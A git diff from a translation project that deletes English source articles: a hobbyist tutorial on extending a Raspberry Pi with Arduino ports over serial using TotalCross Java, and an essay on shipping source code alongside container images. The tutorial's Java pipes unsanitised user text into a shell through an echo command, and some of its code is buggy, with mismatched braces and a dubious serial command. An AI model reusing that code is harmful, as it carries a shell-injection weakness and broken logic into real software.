-译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/cat-glasses-read.png?itok=BigdrxUU (Cat wearing glasses) -[2]: https://opensource.com/resources/what-is-kubernetes -[3]: https://opensource.com/article/20/5/kubernetes-administration -[4]: https://k8slens.dev/ -[5]: https://github.com/lensapp/lens -[6]: https://opensource.com/article/20/6/kubernetes-cluster-lens -[7]: https://opensource.com/sites/default/files/uploads/lens_1_homescreen.png (Lens app icon) -[8]: https://creativecommons.org/licenses/by-sa/4.0/ -[9]: https://opensource.com/sites/default/files/uploads/lens_2-addcluster.png (Adding a cluster in Lens) -[10]: https://opensource.com/article/20/6/container-orchestration -[11]: https://opensource.com/sites/default/files/uploads/lens_3-nodes.png (Lens Nodes menu) -[12]: https://opensource.com/sites/default/files/uploads/lens_4-overview.png (Lens Workloads Overview menu) -[13]: https://opensource.com/sites/default/files/uploads/lens_5-pods.png (Lens Workloads Pods menu) -[14]: https://opensource.com/sites/default/files/uploads/lens_7-poddetails.png (Lens Workloads Pod details) -[15]: https://opensource.com/sites/default/files/uploads/lens_8-podlogs.png (Lens Workloads Pod logs) -[16]: https://opensource.com/sites/default/files/uploads/lens_9-podshelling1.png (Shelling into a pod in Lens) -[17]: https://opensource.com/sites/default/files/uploads/lens_10-podshelling2.png (Shelling into a pod in Lens) -[18]: https://opensource.com/sites/default/files/uploads/lens_6-deployments.png (Lens Workloads Deployments menu) -[19]: https://opensource.com/sites/default/files/uploads/lens_12-configmaps.png (Lens ConfigMaps menu) -[20]: https://opensource.com/sites/default/files/uploads/lens_14-networkservices2.png (Lens Network Services menu) -[21]: https://opensource.com/sites/default/files/uploads/lens_15-editconfig.png (Editing configurations in Lens) -[22]: https://opensource.com/sites/default/files/uploads/lens_18-storageclass3.png (Lens StorageClasses menu) -[23]: https://opensource.com/sites/default/files/uploads/lens_11-namespaces.png (Lens Namespaces menu) -[24]: https://opensource.com/article/20/5/helm-charts -[25]: https://opensource.com/sites/default/files/uploads/lens_22_apps.png (Helm charts in Lens' Apps menu) -[26]: https://opensource.com/sites/default/files/uploads/lens_23_searchapps.png (Searching for Helm charts in Lens' Apps menu) -[27]: https://opensource.com/sites/default/files/uploads/lens_24_installapps.png (Installing a Helm chart in Lens) -[28]: https://opensource.com/sites/default/files/uploads/lens_25_helminstall.png (Installing a Helm chart in Lens) -[29]: https://opensource.com/sites/default/files/uploads/lens_26_confirminstall.png (Confirming Helm chart in Lens) -[30]: https://opensource.com/sites/default/files/uploads/lens_19-accesscontrol.png (Lens Access Control Service Accounts menu) -[31]: https://opensource.com/sites/default/files/uploads/lens_20_rolebindings.png (Lens Access Control RoleBindings menu) -[32]: https://opensource.com/sites/default/files/uploads/lens_21_roles.png (Lens Access Control Roles menu) diff --git a/sources/tech/20200709 Expand your Raspberry Pi with Arduino ports.md b/sources/tech/20200709 Expand your Raspberry Pi with Arduino ports.md deleted file mode 100644 index 611b965f5b..0000000000 --- a/sources/tech/20200709 Expand your Raspberry Pi with Arduino ports.md +++ /dev/null @@ -1,602 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Expand your Raspberry Pi with Arduino ports) -[#]: via: (https://opensource.com/article/20/7/arduino-raspberry-pi) -[#]: author: (Patrick Martins de Lima https://opensource.com/users/pattrickx) - -Expand your Raspberry Pi with Arduino ports -====== -For this project, explore Raspberry Pi port expansions using Java, -serial, and Arduino. -![Parts, modules, containers for software][1] - -As members of the maker community, we are always looking for creative ways to use hardware and software. This time, [Patrick Lima][2] and I decided we wanted to expand the Raspberry Pi's ports using an Arduino board, so we could access more functionality and ports and add a layer of protection to the device. There are a lot of ways to use this setup, such as building a solar panel that follows the sun, a home weather station, joystick interaction, and more. - -We decided to start by building a dashboard that allows the following serial port interactions: - - * Control three LEDs to turn them on and off - * Control three LEDs to adjust their light intensity - * Identify which ports are being used - * Show input movements on a joystick - * Measure temperature - - - -We also want to show all the interactions between ports, hardware, and sensors in a nice user interface (UI) like this: - -![UI dashboard][3] - -(Bruno Muniz, [CC BY-SA 4.0][4]) - -You can use the concepts in this article to build many different projects that use many different components. Your imagination is the limit! - -### 1\. Get started - -![Raspberry Pi and Arduino logos][5] - -(Bruno Muniz, [CC BY-SA 4.0][4]) - -The first step is to expand the Raspberry Pi's ports to also use Arduino ports. This is possible using Linux ARM's native serial communication implementation that enables you to use an Arduino's digital, analogical, and Pulse Width Modulation (PWM) ports to run an application on the Raspberry Pi. - -This project uses [TotalCross][6], an open source software development kit for building UIs for embedded devices, to execute external applications through the terminal and use the native serial communication. There are two classes you can use to achieve this: [Runtime.exec][7] and [PortConnector][8]. They represent different ways to execute these actions, so we will show how to use both in this tutorial, and you can decide which way is best for you. - -To start this project, you need: - - * 1 Raspberry Pi 3 - * 1 Arduino Uno - * 3 LEDs - * 2 resistors between 1K and 2.2K ohms - * 1 push button - * 1 potentiometer between 1K and 50K ohms - * 1 protoboard (aka breadboard) - * Jumpers - - - -### 2\. Set up the Arduino - -Create a communication protocol to receive messages, process them, execute the request, and send a response between the Raspberry Pi and the Arduino. This is done on the Arduino. - -#### 2.1 Define the message format - -Every message received will have the following format: - - * Indication of the function called - * Port used - * A char separator, if needed - * A value to be sent, if needed - * Indication of the message's end - - - -The following table presents the list of characters with their respective functions, example values, and descriptions of the example. The choice of characters used in this example is arbitrary and can be changed anytime. - -Characters | Function | Example | Description of the example ----|---|---|--- -* | End of the instruction | - | - -, | Separator | - | - -# | Set mode | #8,0* | Pin 8 input mode -< | Set digital value | <1,0* | Set pin 1 low -> | Get digital value | >13* | Get value pin 13 -+ | Get PWM value | +6,250* | Set pin 6 value 250 -- | Get analogic value | -14* | Get value pin A0 - -#### 2.2 Source code - -The following source code implements the communication protocol specified above. It must be sent to the Arduino, so it can interpret and execute messages' commands: - - -``` -void setup() { - Serial.begin(9600); - Serial.println("Connected"); - Serial.println("Waiting command..."); -} - -void loop() { -String text=""; -char character; -String pin=""; -String value="0"; -char separator='.'; -char inst='.'; - - while(Serial.available()){ // verify RX is getting data -   delay(10); -   character= Serial.read(); -   if(character=='*'){ -     action(inst,pin,value); -     break; -    } -    else { -     text.concat(character);} - -   if(character==',') { -     separator=character; -    -   if(inst=='.'){ -     inst = character;} -   else if(separator!=',' && character!=inst ){ -     pin.concat(character);} -   else if (character!=separator && character!=inst ){ -     value.concat(character);} - } -} - -void action(char instruction, String pin, String value){ - if (instruction=='#'){//pinMode -   pinMode(pin.toInt(),value.toInt()); - } - - if (instruction=='<'){//digitalWrite -   digitalWrite(pin.toInt(),value.toInt()); - } - - if (instruction=='>'){ //digitalRead -   String aux= pin+':'+String(digitalRead(pin.toInt())); -   Serial.println(aux); - } - - if (instruction=='+'){ // analogWrite = PWM -   analogWrite(pin.toInt(),value.toInt()); - } - - if (instruction=='-'){ // analogRead -   String aux= pin+':'+String(analogRead(pin.toInt())); -   Serial.println(aux); - } -} -``` - -#### 2.3 Build the electronics - -Define what you need to test to check communication with the Arduino and ensure the inputs and outputs are responding as expected: - - * LEDs are connected with positive logic. Connect to the GND pin through a resistor and activate it with the digital port I/O 2 and PWM 3. - * The button has a pull-down resistor connected to the digital port I/O 4, which sends a signal of 0 if not pressed and 1 if pressed. - * The potentiometer is connected with the central pin to the analog input A0 with one of the side pins on the positive and the other on the negative. - - - -![Connecting the hardware][9] - -(Bruno Muniz, [CC BY-SA 4.0][4]) - -#### 2.4 Test communications - -Send the code in section 2.2 to the Arduino. Open the serial monitor and check the communication protocol by sending the commands below: - - -``` -#2,1*<2,1*>2* -#3,1*+3,10* -#4,0*>4* -#14,0*-14* -``` - -This should be the result in the serial monitor: - -![Testing communications in Arduino][10] - -(Bruno Muniz, [CC BY-SA 4.0][4]) - -One LED on the device should be on at maximum intensity and the other at a lower intensity. - -![LEDs lit on board][11] - -(Bruno Muniz, [CC BY-SA 4.0][4]) - -Pressing the button and changing the position of the potentiometer when sending reading commands will display different values. For example, turn the potentiometer to the positive side and press the button. With the button still pressed, send the commands: - - -``` ->4* --14* -``` - -Two lines should appear: - -![Testing communications in Arduino][12] - -(Bruno Muniz, [CC BY-SA 4.0][4]) - -### 3\. Set up the Raspberry Pi - -Use a Raspberry Pi to access the serial port via the terminal using the `cat` command to read the entries and the `echo` command to send the message. - -#### 3.1 Do a serial test - -Connect the Arduino to one of the USB ports on the Raspberry Pi, open the terminal, and execute this command: - - -``` -`cat /dev/ttyUSB0 9600` -``` - -This will initiate the connection with the Arduino and display what is returned to the serial. - -![Testing serial on Arduino][13] - -(Bruno Muniz, [CC BY-SA 4.0][4]) - -To test sending commands, open a new terminal window (keeping the previous one open), and send this command: - - -``` -`echo "command" > /dev/ttyUSB0 9600` -``` - -You can send the same commands used in section 2.4. - -You should see feedback in the first terminal along with the same result you got in section 2.4: - -![Testing serial on Arduino][14] - -(Bruno Muniz, [CC BY-SA 4.0][4]) - -### 4\. Create the graphical user interface - -The UI for this project will be simple, as the objective is just to show the ports expansion using the serial. Another article will use TotalCross to create a high-quality GUI for this project and start the application backend (working with sensors), as shown in the dashboard image at the top of this article. - -This first part uses two UI components: a Listbox and an Edit. These build a connection between the Raspberry Pi and the Arduino and test that everything is working as expected. - -Simulate the terminal where you put the commands and watch for answers: - - * Edit is used to send messages. Place it at the bottom with a FILL width that extends the component to the entire width of the screen. - * Listbox is used to show results, e.g., in the terminal. Add it at the TOP position, starting at the LEFT side, with a width equal to Edit and a FIT height to vertically occupy all space not filled by Edit. - - - - -``` -package com.totalcross.sample.serial; - -import totalcross.sys.Settings; -import totalcross.ui.Edit; -import totalcross.ui.ListBox; -import totalcross.ui.MainWindow; -import totalcross.ui.gfx.Color; - -public class SerialSample extends MainWindow { -   ListBox Output; -   Edit Input; -   public SerialSample() { -       setUIStyle(Settings.MATERIAL_UI); -   } - -   @Override -   public void initUI() { -       Input = new Edit(); -       add(Input, LEFT, BOTTOM, FILL, PREFERRED); -       Output = new ListBox(); -       Output.setBackForeColors([Color][15].BLACK, [Color][15].WHITE); -       add(Output, LEFT, TOP, FILL, FIT); -   } -} -``` - -It should look like this: - -![UI][16] - -(Bruno Muniz, [CC BY-SA 4.0][4]) - -### 5\. Set up serial communication - -As stated above, there are two ways to set up serial communication: Runtime.exec and PortConnector. - -#### 5.1 Option 1: Use Runtime.exec - -The `java.lang.Runtime` class allows the application to create a connection interface with the environment where it is running. It allows the program to use the Raspberry Pi's native serial communication. - -Use the same commands you used in section 3.1, but now use the Edit component on the UI to send the commands to the device. - -##### Read the serial - -The application must constantly read the serial, and if a value is returned, add it to the Listbox using threads. Threads are a great way to work with processes in the background without blocking user interaction. - -The following code creates a new process on this thread that executes the `cat` command, tests the serial, and starts an infinite loop to check if something new is received. If something is received, the value is added to the next line of the Listbox component. This process will continue to run as long as the application is running: - - -``` -new [Thread][17] () { -   @Override -   public void run() { -       try { -           [Process][18] Runexec2 = [Runtime][19].getRuntime().exec("cat /dev/ttyUSB0 9600\n"); -           LineReader lineReader = new LineReader(Stream.asStream(Runexec2.getInputStream())); -           [String][20] input; -          -           while (true) { -               if ((input = lineReader.readLine()) != null) { -                   Output.add(input); -                   Output.selectLast(); -                   Output.repaintNow(); -               } -           } -         } catch ([IOException][21] ioe) { -            ioe.printStackTrace(); -         } -       } -   }.start(); -} -``` - -##### Send commands - -Sending commands is a simpler process. It happens whenever you press **Enter** on the Edit component. - -To forward the commands to the device, as shown in section 3.1, you must instantiate a new terminal. For that, the Runtime class must execute a `sh` command on Linux: - - -``` -try{ -   Runexec = [Runtime][19].getRuntime().exec("sh").getOutputStream()        }catch ([IOException][21] ioe) { -   ioe.printStackTrace(); -} -``` - -After the user writes the command in Edit and presses **Enter**, the application triggers an event that executes the `echo` command with the value indicated in Edit: - - -``` -Input.addKeyListener(new [KeyListener][22]() { - -   @Override -   public void specialkeyPressed([KeyEvent][23] e) { -       if (e.key == SpecialKeys.ENTER) { -           [String][20] s = Input.getText(); -           Input.clear(); -           try { -               Runexec.write(("echo \"" + s + "\" > /dev/ttyUSB0 9600\n").getBytes()); -           } catch ([IOException][21] ioe) { -           ioe.printStackTrace(); -           } -       } -   } - -   @Override -   public void keyPressed([KeyEvent][23] e) {} //auto-generate code -   @Override -   public void actionkeyPressed([KeyEvent][23] e) {} //auto-generate code -}); -``` - -Run the application on the Raspberry Pi with the Arduino connected and send the commands for testing. The result should be: - -![Testing application running on Raspberry Pi][24] - -(Bruno Muniz, [CC BY-SA 4.0][4]) - -##### Runtime.exec source code - -Following is the source code with all parts explained. It includes the thread that will read the serial on line 31 and the `KeyListener` that will send the commands on line 55: - - -``` -package com.totalcross.sample.serial; -import totalcross.ui.MainWindow; -import totalcross.ui.event.KeyEvent; -import totalcross.ui.event.KeyListener; -import totalcross.ui.gfx.Color; -import totalcross.ui.Edit; -import totalcross.ui.ListBox; -import java.io.IOException; -import java.io.OutputStream; -import totalcross.io.LineReader; -import totalcross.io.Stream; -import totalcross.sys.Settings; -import totalcross.sys.SpecialKeys; - -public class SerialSample extends MainWindow { -   [OutputStream][25] Runexec; -   ListBox Output; - -   public SerialSample() { -       setUIStyle(Settings.MATERIAL_UI); -   } - -   @Override -   public void initUI() { -       Edit Input = new Edit(); -       add(Input, LEFT, BOTTOM, FILL, PREFERRED); -       Output = new ListBox(); -       Output.setBackForeColors([Color][15].BLACK, [Color][15].WHITE); -       add(Output, LEFT, TOP, FILL, FIT); -       new [Thread][17]() { -           @Override -           public void run() { -               try { -                   [Process][18] Runexec2 = [Runtime][19].getRuntime().exec("cat /dev/ttyUSB0 9600\n"); -                   LineReader lineReader = new -                   LineReader(Stream.asStream(Runexec2.getInputStream())); -                   [String][20] input; - -                   while (true) { -                       if ((input = lineReader.readLine()) != null) { -                           Output.add(input); -                           Output.selectLast(); -                           Output.repaintNow(); -                       } -                   } - -               } catch ([IOException][21] ioe) { -                   ioe.printStackTrace(); -               } -           } -       }.start(); - -       try { -           Runexec = [Runtime][19].getRuntime().exec("sh").getOutputStream(); -       } catch ([IOException][21] ioe) { -           ioe.printStackTrace(); -       } - -       Input.addKeyListener(new [KeyListener][22]() { -           @Override -           public void specialkeyPressed([KeyEvent][23] e) { -               if (e.key == SpecialKeys.ENTER) { -                   [String][20] s = Input.getText(); -                   Input.clear(); -                   try { -                       Runexec.write(("echo \"" + s + "\" > /dev/ttyUSB0 9600\n").getBytes()); -                   } catch ([IOException][21] ioe) { -                       ioe.printStackTrace(); -                   } -               } -           } - -           @Override -           public void keyPressed([KeyEvent][23] e) { -           } -           @Override -           public void actionkeyPressed([KeyEvent][23] e) { -           } -      }); -   } -} -``` - -#### 5.2 Option 2: Use PortConnector - -PortConnector is specifically for working with serial communication. If you want to follow the original example, you can skip this section, as the intention here is to show another, easier way to work with serial. - -Change the original source code to work with PortConnector: - - -``` -package com.totalcross.sample.serial; -import totalcross.io.LineReader; -import totalcross.io.device.PortConnector; -import totalcross.sys.Settings; -import totalcross.sys.SpecialKeys; -import totalcross.ui.Edit; -import totalcross.ui.ListBox; -import totalcross.ui.MainWindow; -import totalcross.ui.event.KeyEvent; -import totalcross.ui.event.KeyListener; -import totalcross.ui.gfx.Color; - -public class SerialSample extends MainWindow { -   PortConnector pc; -   ListBox Output; - -   public SerialSample() { -       setUIStyle(Settings.MATERIAL_UI); -   } - -   @Override -   public void initUI() { -       Edit Input = new Edit(); -       add(Input, LEFT, BOTTOM, FILL, PREFERRED); -       Output = new ListBox(); -       Output.setBackForeColors([Color][15].BLACK, [Color][15].WHITE); -       add(Output, LEFT, TOP, FILL, FIT); -       new [Thread][17]() { -           @Override -           public void run() { -               try { -                   pc = new PortConnector(PortConnector.USB, 9600); -                   LineReader lineReader = new LineReader(pc); -                   [String][20] input; -                   while (true) { -                       if ((input = lineReader.readLine()) != null) { -                           Output.add(input); -                           Output.selectLast(); -                           Output.repaintNow(); -                       } -                   } -               } catch (totalcross.io.[IOException][21] ioe) { -                   ioe.printStackTrace(); -               } -           } -       }.start(); -       Input.addKeyListener(new [KeyListener][22]() { -           @Override -           public void specialkeyPressed([KeyEvent][23] e) { -               if (e.key == SpecialKeys.ENTER) { -                   [String][20] s = Input.getText(); -                   Input.clear(); -                   try { -                       pc.writeBytes(s); -                   } catch (totalcross.io.[IOException][21] ioe) { -                       ioe.printStackTrace(); -                   } -               } -           } - -           @Override -           public void keyPressed([KeyEvent][23] e) { -           } - -           @Override -           public void actionkeyPressed([KeyEvent][23] e) { -           } -      }); -  } -} -``` - -You can find all the code in the [project's repository][26]. - -### 6\. Next steps - -This article shows how to use Raspberry Pi serial ports with Java by using either the Runtime or PortConnector classes. You can also call external files in other languages and create countless other projects—like a water quality monitoring system for an aquarium with temperature measurement via the analog inputs, or a chicken brooder with temperature and humidity regulation and a servo motor to rotate the eggs. - -A future article will use the PortConnector implementation (because it is focused on serial connection) to finish the communications with all sensors. It will also add a digital input and complete the UI. - -Here are some references for more reading: - - * [Get started with TotalCross][27] - * [TotalCross PortConnector class][8] - * [Running C++ applications with TotalCross][7] - * [VSCode TotalCross Project Extension plugin][28] - - - -After you connect your Arduino and Raspberry Pi, please leave comments below with your results. We'd love to read them! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/arduino-raspberry-pi - -作者:[Patrick Martins de Lima][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/pattrickx -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/containers_modules_networking_hardware_parts.png?itok=rPpVj92- (Parts, modules, containers for software) -[2]: https://github.com/pattrickx -[3]: https://opensource.com/sites/default/files/uploads/gui-dashboard.png (UI dashboard) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://opensource.com/sites/default/files/uploads/raspberrypi_arduino.png (Raspberry Pi and Arduino logos) -[6]: https://totalcross.com/ -[7]: https://learn.totalcross.com/documentation/guides/running-c++-applications-with-totalcross -[8]: https://rs.totalcross.com/doc/totalcross/io/device/PortConnector.html -[9]: https://opensource.com/sites/default/files/uploads/connecting-electronics.png (Connecting the hardware) -[10]: https://opensource.com/sites/default/files/uploads/communication-test-result.png (Testing communications in Arduino) -[11]: https://opensource.com/sites/default/files/uploads/leds.jpg (LEDs lit on board) -[12]: https://opensource.com/sites/default/files/uploads/communication-test-result2.png (Testing communications in Arduino) -[13]: https://opensource.com/sites/default/files/uploads/serial-test.png (Testing serial on Arduino) -[14]: https://opensource.com/sites/default/files/uploads/serial-test2.png (Testing serial on Arduino) -[15]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+color -[16]: https://opensource.com/sites/default/files/uploads/ui_0.png (UI) -[17]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+thread -[18]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+process -[19]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+runtime -[20]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+string -[21]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+ioexception -[22]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+keylistener -[23]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+keyevent -[24]: https://opensource.com/sites/default/files/uploads/test-commands.png (Testing application running on Raspberry Pi) -[25]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+outputstream -[26]: https://github.com/pattrickx/TotalCrossSerialCommunication -[27]: https://learn.totalcross.com/documentation/get-started/ -[28]: https://marketplace.visualstudio.com/items?itemName=Italo.totalcross diff --git a/sources/tech/20200709 Making compliance scalable in a container world.md b/sources/tech/20200709 Making compliance scalable in a container world.md deleted file mode 100644 index a32bf4e86e..0000000000 --- a/sources/tech/20200709 Making compliance scalable in a container world.md +++ /dev/null @@ -1,168 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Making compliance scalable in a container world) -[#]: via: (https://opensource.com/article/20/7/compliance-containers) -[#]: author: (Scott K Peterson https://opensource.com/users/skpeterson) - -Making compliance scalable in a container world -====== -When software is distributed via container images, source code should be -made available in order to ensure seamless compliance with licensing. -![Shipping containers stacked in a yard][1] - -Software is increasingly being distributed as container images. Container images include the many software components needed to support the featured software in the container. Thus, distribution of a container image involves distribution of many software components, which typically include GPL-licensed components. We can't expect every company that distributes container images to become an open source compliance expert, so we need to build compliance into container technology. - -We should design source code availability into container tools and processes to facilitate open source license compliance that is efficient and portable: - - * Efficient—Address compliance once when a container image is created. Avoid depending on later actions, especially actions external to existing container distribution tooling. - * Portable—When an image is moved to another registry, it should be straightforward to move compliance along with it. - - - -This can be done with a registry-native approach to source code availability. This doesn't require updating all container registries to include source-code-specific features. It is possible to exploit features that registries already have. For software distributed through container registries, we can use those same registries to facilitate compliance. - -### Container technology - -Container technology helps manage the challenges of deploying and operating complex software systems. - -The word "container" refers to a runtime experience—a program, together with its dependencies, can execute in an environment that provides certain isolation from other executing programs; this is running in a container. - -The set of files that are used to provision such a container is called a "container image." While the purpose of a particular container image might be to run one application program, the container image includes much more: that application and its dependencies—the files necessary to run that application, except for the operating system kernel. A container image is a form of those files that can be stored and transferred, enabling the application to be reliably deployed again and again, and run independently of the many other programs that may be running and changing in other containers in the system. - -Distribution of software in the form of container images, which are distributed from services known as "container registries," is growing. Once one invests in organizing computing around containers, it becomes valuable to package and distribute software in container images. Those who use containers to run their software find it is useful to be able to obtain software as pre-built container images, rather than doing all of the container assembly themselves. Even when container images are customized, it is often valuable to start from a pre-built image. - -### Container images are different - -In the past, it has been common to obtain each software component separately. In contrast, a container image includes a heterogeneous collection of software–often hundreds of software components. The unit of software delivery is changing from one driven by how the software is **built** to one driven by how the software is **used**. (See [What's in a container image: Meeting the legal challenges][2].) - -Package maintainers and package management tools have played an underappreciated role in source availability for over two decades. The focused nature of a package, the role of a package maintainer, and the tooling that has been built to support package management systems results in the expectation that someone (the package maintainer) will take responsibility for seeing that the sources are available. Tools that build binaries also collect the corresponding sources into an archive that can be delivered alongside the binaries. The result is that most people don't need to think about source code availability. The sources are available in the same unit as the delivery of the executable software and via the same distribution mechanism; for software delivered as an RPM, the corresponding source is available in a source RPM. - -In contrast, there is no convention for providing the source code that corresponds to a container image. - -The many software components in a container image often include GPL-licensed software. Companies that may not have much experience with distribution of FOSS software may begin distributing GPL-licensed software when they start offering their software in the form of container images. Let's make it straightforward for everyone, including companies who may be new to FOSS, to provide source code in a consistent way. - -### Identification of the corresponding source code - -Identifying the corresponding source code is more challenging for container images than it is for packages. For packages, the source is available to the person building the package (although there can be some challenges with the source for dependencies if a package is built to include dependencies, not merely refer to them). In contrast, container images are conventionally built using, mostly, previously compiled components. When the container image is built, the source for those software components may be readily at hand or not, depending on how the binaries were acquired and how they were built. - -When we build a container image, we should collect the corresponding source code for each of the components used to build the image. If not when the image is built, then when? That collected source code should then become a logical part of the corresponding container image. - -Making the corresponding source code available as a logical part of a container image, of course, facilitates compliance in the distribution of that image. But, also, that practice supports a compliant ecosystem. If someone builds on a base image, how do they know what source code might need to be made available? If container images have corresponding source images, then the solution is straightforward. It is not necessary to start by figuring out what is in the base. Rather, start source availability for the overall image by using the source image for the base. - -Here is an opportunity to build compliance into the tools—when someone builds on a base image, the tools should make it easy for them to make the corresponding source available for the base, as well as what is built on top. Tools should create a source image corresponding to the final combined image by starting with the source image for the base and adding whatever source is appropriate for the software that is built on top of that base. - -### Delivery - -Suppose one has a list of the source code artifacts that correspond to a container image. Where is that list going to be hosted? Where are the source artifacts going to be hosted? If the container image is hosted on various registries, how is source code going to be made available for each of those distribution points? Is there work to be done in each registry or in each of the catalogs associated with the registries? How is someone pulling a container image from each of a number of different registries going to know where these materials are? How does this work at scale? How many mechanisms are needed? - -We should build a container ecosystem with compliance that is portable across registries. One shouldn't need to get a new guidebook from each registry. - -As mentioned above, the supporting software components in a container image often include software licensed under the GPL. Consider the various alternatives for meeting the source code availability requirement for commercial distribution of software via download: binaries accompanied by the source code; binaries accompanied by a written offer; or, equivalent access to copy. As to equivalent access option, let's look at [GPLv2, section 3][3], last paragraph: "If distribution of executable or object code is made by offering access to copy from a designated place, then **offering equivalent access to copy the source code from the same place** counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code." - -Why deliver the source code through a container registry? Equivalent access, efficiency, and portability. - - * **Equivalent access**—A registry-native approach to source availability (making source for container images available as container images) is a good way of providing equivalent access to the source. - * **Efficient compliance**—Creating a source availability "package" (a source image) when the executable image is built and then using the same tooling for making the source available avoids inefficiencies of maintaining additional processes and mechanisms for making the source available. - * **Portability of compliance**—The same tooling that moves the executable images can be used to move, store, and serve the source images—on all hosting registries. - - - -### A registry-native approach to source code availability - -Delivering source through container registries exploits the design of the container image format and certain related characteristics of container registries. - -A container image includes (see container image details in the two examples linked below): - - * an image manifest, which identifies the other elements of the image; - * config data, which includes metadata about the image, including information used to configure the image for execution in a container; - * a number of "layers" (each of which is a tar archive) that store the file system with which to provision a container. - - - -Consider the challenge of making the corresponding source code available—a collection of source code artifacts (RPMs, zip files, tarballs, etc.) that we would like a server to make available. A container image is a list of components that a registry makes available. If the list of source artifacts is arranged as an image manifest, then a container registry can serve the source code artifacts like it serves other container image parts. And, tools for moving container images can be directly applied to move that compliance package (manifest plus the referenced source artifacts). - -A source image (aka a source container) is simply a container image. Instead of the layers in the image being tarballs of files to provision a container for execution, each layer is a source artifact. - -This concept of delivering non-file-system content from a container registry is of interest to container registries for other purposes, too, not just for source code. An example of non-layer content being served by container registries is Helm charts (used to describe a set of Kubernetes resources). The delivery of non-layer content via a container registry is the subject of the [Open Container Initiative's artifacts project][4]. - -### Deduplication - -Container registries store and deliver an image as parts, rather than as a single digital object. This is valuable because container images are extremely redundant. Many images differ in a small fraction of their content. A container image can simplify data center operations by packaging together all of the components needed to run a particular program; as a result, container images are large, and each contains much content that is identical to other images in the registry. There can be 100-300 software components in an image, most of which are present in many other container images. Also, images are immutable. When an image needs to be updated, a new image is created that is almost identical to the prior version. This size challenge is mitigated by breaking archives for container file systems into multiple layers and using content-addressable storage. - -That deduplication capability is advantageous in source code, too. The key to taking advantage of this registry feature is to not store all of the corresponding sources for an image in a single blob. More than 100:1 deduplication can be readily achieved if the source code is stored with the granularity of a separate source artifact for each of the hundred or more software components from which the image is built. - -### Implementation - -Red Hat has started the first of a two-stage approach to implementing registry-native delivery of source code. - -In the first stage, Red Hat has started by producing source images that can be hosted on existing registries and will not confuse tools that expect all images to be executable. In this approach, source artifacts masquerade as regular layers—each source artifact is wrapped in a tar archive; the media types for the layers are the same as for a regular executable image. The source image is associated with the corresponding executable image by a naming convention. - -The second stage involves taking advantage of certain OCI image format features. - -Container images should be linked to the corresponding executable image(s) via the image index, rather than with a tag naming convention. The container image format makes it possible for a source image to literally be a part of the overall image of which the executable image is a part. Unrelated to source code, it is useful to be able to have images that are built for different processor architectures be part of a single overall image. That overall image can be managed as a single object, and a consumer of the image can select which version(s) and/or part(s) of the image to download (e.g., amd64, or arm64, or source). Thus, rather than associating the source with the corresponding executable image via a labeling convention, the source image manifest should be listed in the image index. - -In addition, in the future, source artifacts should not masquerade as executable layer tar files; the extra wrapping of source artifacts in a tar archive should be eliminated, and the source artifacts should be identified with appropriate media types. Successful deduplication requires careful, consistent tar archives. Simply storing the source artifact directly (and marking it with an appropriate media type) reduces this potential deduplication loss from inconsistent tarball wrappers. - -Finally, source artifacts in a registry should be consistent with the approach for other non-layer content in registries (such as Helm charts). Providing a consistent way to serve such content is the subject of the "artifacts" project within the Open Container Initiative. Registry-native distribution of source can be a beneficiary of that project. - -#### In summary - -The current approach (see the [current approach example][5]): - - * Source artifacts masquerade as regular layers—wrap each source artifact in a tarball and mark it with a regular layer media type. - * Identify the name of a source artifact inside the tar wrapper. - * Associate the source and executable images using a tag name convention—tag the source image manifest with the tag for the corresponding executable image extended with "-source." - - - -The future approach (see the [future approach example][6]): - - * No masquerade—store source artifacts directly in the registry (named, as other registry content, by a hash digest) and give them non-layer media type(s). - * Identify the name of a source artifact with a layer annotation in the manifest. - * Associate the source and executable images using the image index—list the source manifest in the image index, along with manifests for each machine architecture. - * Use a distinctive config. media type in source manifests (as proposed in the OCI artifacts project). - - - -#### Where are we now? - -Source "containers," which are actually images, for UBI images are in the Red Hat registry now. These source images have been built using production tools. The next step is to roll this out to other images. - -#### Where are we going? - -We need an industry-wide, consistent approach to making source code available for container images. Let's work together in the OCI's artifacts project and agree on the details of the no-masquerade approach. - -### Opportunities - -Including source code leads to opportunities. Making the full corresponding source code available as a corresponding source image can address more than merely GPL source availability: - - * The exact license for open source software can be complicated (see [Is open source software licensing broken?][7]). But, with the full source code, one can determine whatever details are important to them (see [The source code is the license][8]). - * How about license notices? You could attempt to extract all of them. Or, you could make the notices available directly via the source code (see [An economically efficient model for open source software license compliance][9]). - - - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/compliance-containers - -作者:[Scott K Peterson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) 